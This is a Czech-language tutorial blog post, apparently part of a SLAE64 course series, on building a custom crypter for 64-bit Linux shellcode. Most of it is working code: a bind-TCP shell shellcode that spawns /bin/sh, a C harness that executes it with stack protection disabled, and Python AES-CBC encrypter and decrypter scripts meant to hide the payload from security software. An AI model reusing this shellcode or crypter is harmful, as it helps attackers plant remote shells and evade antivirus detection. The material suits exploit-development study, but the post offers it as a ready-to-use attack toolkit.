64bitový Custom Crypter

V sedmém textu této 64bitové série bude demonstrována tvorba custom crypteru pomocí již existujícího schématu.

“A crypter is a type of software that can encrypt, obfuscate, and manipulate malware, to make it harder to detect by security programs. It is used by cybercriminals to create malware that can bypass security programs by presenting itself as a harmless program until it gets installed.” Zdroj

Pro demonstraci budeme používat shell_bind_tcp. Otestujeme shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}
  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Budeme využívat AES-CBC šifrování pomocí pythonu. Více informací ohledně použitého schématu naleznete zde:

CBC šifrování používá bloky o velikosti 16 bytů.

# !/usr/bin/env python2
# File name: encrypter.py
# Author: SLAE64-14209
 
from Crypto.Cipher import AES
 
data = ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05")
 
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
 
l = len(data)
g = l%16
t = 16 - g
print "offset: " + str(t)
data = data + "A" * t
enc = cipher.encrypt(data)
encoded = ""
for x in bytearray(enc):
  encoded += '\\x'
  enc = '%02x' % x
  encoded += enc  
 
print encoded

Jak můžeme vidět, encrypter funguje. Offset je 10 a zašifrovaný shellcode je:

\xa5\x48\x6d\xf6\xe8\x14\x2a\xab\x17\xbe\x52\xfc\xa8\x32\xa9\xc2\x4b\xd6\xba\xe7\x82\x1a\xa0\x60\xf9\x64\xab\xbe\x2f\xfc\xde\xae\x98\xd8\xef\x98\x60\x58\x3f\x9c\xdb\x8f\x32\xdd\x32\x8f\x29\xce\x04\xe5\xfe\xd6\x20\x6d\x50\x20\x9b\x40\xeb\x7f\x04\x68\xc2\x2b\x98\xf1\x90\x33\xf3\xea\xe1\xff\x7e\xff\xf0\xf9\x49\x1a\x2a\x32\x21\x85\x21\xe7\x2c\xb3\x7f\xf8\x86\x99\x8b\x70\xb8\x99\x0e\xdf

Dále musíme vytvořit decrypter.

# !/usr/bin/env python2
# File name: decrypter.py
# Author: SLAE64-14209
 
from Crypto.Cipher import AES
 
offset = 10
 
data = ("\xa5\x48\x6d\xf6\xe8\x14\x2a\xab\x17\xbe\x52\xfc\xa8\x32\xa9\xc2\x4b\xd6\xba\xe7\x82\x1a\xa0\x60\xf9\x64\xab\xbe\x2f\xfc\xde\xae\x98\xd8\xef\x98\x60\x58\x3f\x9c\xdb\x8f\x32\xdd\x32\x8f\x29\xce\x04\xe5\xfe\xd6\x20\x6d\x50\x20\x9b\x40\xeb\x7f\x04\x68\xc2\x2b\x98\xf1\x90\x33\xf3\xea\xe1\xff\x7e\xff\xf0\xf9\x49\x1a\x2a\x32\x21\x85\x21\xe7\x2c\xb3\x7f\xf8\x86\x99\x8b\x70\xb8\x99\x0e\xdf")
 
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
 
h = cipher.decrypt(data)
decoded = ""
for x in bytearray(h):
decoded += '\\x'
enc = '%02x' % (x & 0xff)
decoded += enc        
 
print decoded[0:-offset*4]

Protože je output stejný jako původní shellcode vidíme, že decrypter funguje, můžeme jej otestovat:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52\xc7\x04\x24\x02\x00\x23\x29\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}
  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64